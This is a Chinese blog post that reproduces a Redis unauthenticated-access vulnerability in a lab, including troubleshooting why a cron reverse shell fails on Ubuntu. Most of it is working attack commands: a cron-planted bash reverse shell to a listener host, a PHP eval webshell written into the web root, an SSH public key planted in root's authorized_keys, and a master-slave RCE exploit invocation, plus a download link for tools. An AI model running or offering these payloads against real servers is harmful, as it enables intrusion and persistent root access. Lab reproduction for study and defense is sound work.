websec80

  博客园  :: 首页  :: 新随笔  :: 联系 ::  :: 管理

0x00 背景

  • 在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题。

0x01 环境准备

  • ubuntu16.04,用来任务计划反弹shell的靶机
  • MAC,用来接收ubuntu反弹过来的shell
  • redis4.0.10未授权访问漏洞

0x02 具体过程

0x02.1 安装redis

  • 安装:下载、解压、编译

    1
    2
    3
    4
    5
    $ wget http://download.redis.io/releases/redis-4.0.10.tar.gz
    $ tar xzf redis-4.0.10.tar.gz
    $ mv redis-4.0.10 /usr/local/redis
    $ cd /usr/local/redis
    $ make
  • 创建服务:二进制文件是编译完成后在src目录下,客户端是/usr/local/redis/src/redis-cli,服务器是/usr/local/redis/src/redis-server。下面为这两个文件做软链接。

    1
    2
    $ ln -s /usr/local/redis/src/redis-cli /usr/bin/redis
    $ ln -s /usr/local/redis/src/redis-server /usr/bin/redisd
  • 测试是否成功安装
    KGcfS0.png

  • 至此,表明你的redis已经安装完毕。

0x02.2 修改远程登陆配置文件

1
2
3
4
5
6
7
8
9
$ vim /usr/local/redis/redis.conf 配置文件
bind 127.0.0.1前面加上#号
protected-mode设为no
$ 启动服务 redisd /usr/local/redis/redis.conf

注释:
- 关闭protected-mode模式,此时外部网络可以直接访问
- 开启protected-mode保护模式,需配置bind ip或者设置访问密码
- redis.conf配置文件中daemonize守护线程,默认是NO

KGWHu6.png

KGWbDK.png

  • 默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!

0x02.3 攻击利用

  • redis基本命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
连接redis:
redis-cli -h 192.168.1.108

查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.1.108:6379>info

将变量x的值设为test:
192.168.1.108:6379>set x "test"

获取设置的某个变量的值:
192.168.1.108:6379>get x

`flushall`是把整个redis数据库删除,一般情况下不要用!!!
192.168.1.108:6379>flushall

查看所有键:
192.168.1.108:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.1.108:6379>CONFIG GET dir
192.168.1.108:6379>CONFIG GET dbfilename

0x02.4 利用计划任务执行命令反弹shell

  • 在redis以root权限运行时可以写crontab来执行命令反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
先在自己的服务器上监听一个端口
nc -lvnp 7999

然后执行命令:
root@kali:~# redis-cli -h 192.168.1.108

192.168.1.108:6379> set xx "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK

192.168.1.108:6379> config set dir /var/spool/cron/
OK

192.168.1.108:6379> config set dbfilename root
OK

192.168.1.108:6379> save
OK
1
2
3
4
5
6
7
8
9
10
11
再次科普下:

m:分钟 - 从0到59的整数
h:小时 - 从0到23的整数
dom:天 - 从1到31的整数 (必须是指定月份的有效日期)
mon:月 - 从1到12的整数 (或如Jan或Feb简写的月份)
dow:周一到周日 - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)
user:指的是执行命令的用户
command: 需要执行的命令
星号(*)表示参数所有可用的值,如果为5个*,就代表每分钟执行一次
符号“/”指定步进设置。“/<interger>”表示步进值,比如*/2 * * * *代表每两分钟执行一次任务
1
2
3
4
5
ubuntu下可以利用的cron有以下几个地方:

/etc/crontab:该文件里面的任务计划可以直接执行
/etc/cron.d/*:该目录下的任意文件都可以被当作任务计划去执行,并且避免了原先任务计划文件被覆盖的情况
/var/spool/cron/crontabs/:该目录下定义的任务计划文件会被执行,不过需要有一个前提,就是该任务计

KYvROK.jpg
登陆ubuntu查看计划任务,已经成功写入。但是发现计划中存在乱码,也就是这些乱码导致计划任务执行错误。
这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。


KYvvTg.jpg

我们手动把乱码删除,发现依然无法成功反弹shell。这是为什么呢?

KYvj0S.jpg

通过视频资料发现ubantu下默认使用/bin/dash执行脚本的问题,解决方式:将shell环境修改为bash。

KYvzkQ.jpg

成功反弹shell

KYvfeO.jpg

扩展思路

  • 利用Redis未授权访问写定时任务反弹shell

  • 利用Redis未授权访问写webshell

    • 通过redis未授权访问漏洞向ubuntu的web跟目录下写入一个webshell,然后要知道网站的根目录,在该测试环境下网站的根目录为/var/www/html

      1
      2
      3
      4
      set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
      config set dir /var/www/html
      config set dbfilename shell.php
      save
  • 利用redis未授权访问向远程服务器写入ssh公钥

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    在本地生成一对密钥:
    $ ssh-keygen -t rsa
    然后将公钥写入 key.txt 文件
    $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
    $ cat key.txt | redis-cli -h ip -x set crackit
    接下来在redis-cli的交互式shell下执行
    config set dir /root/.ssh
    config get dir
    config set dbfilename "authorized_keys"
    save
    这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
    $ ssh –i id_rsa root@ip
  • Redis 基于主从复制的RCE利用方式

    • https://lorexxar.cn/2019/07/10/redis-5-x-rce/

    • 什么是Redis主从复制

      • Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

      • 漏洞利用

      • 下载Exp

      • 下载 exp.so

      • 利用

        • 此处可以通过 -p 去设置目标端口(默认6379)

        • python redis-rce.py -r <目标IP> -L <监听的公网IP> -P <监听的公网端口> -f exp.so
  • 利用redis未授权访问远程命令执行\

  • 链接:https://pan.baidu.com/s/1ZqSeFC4p-hoUjOGCs96wOg
    提取码:9qya

  •  

posted on 2021-05-06 12:25  websec80  阅读(1460)  评论(0编辑  收藏  举报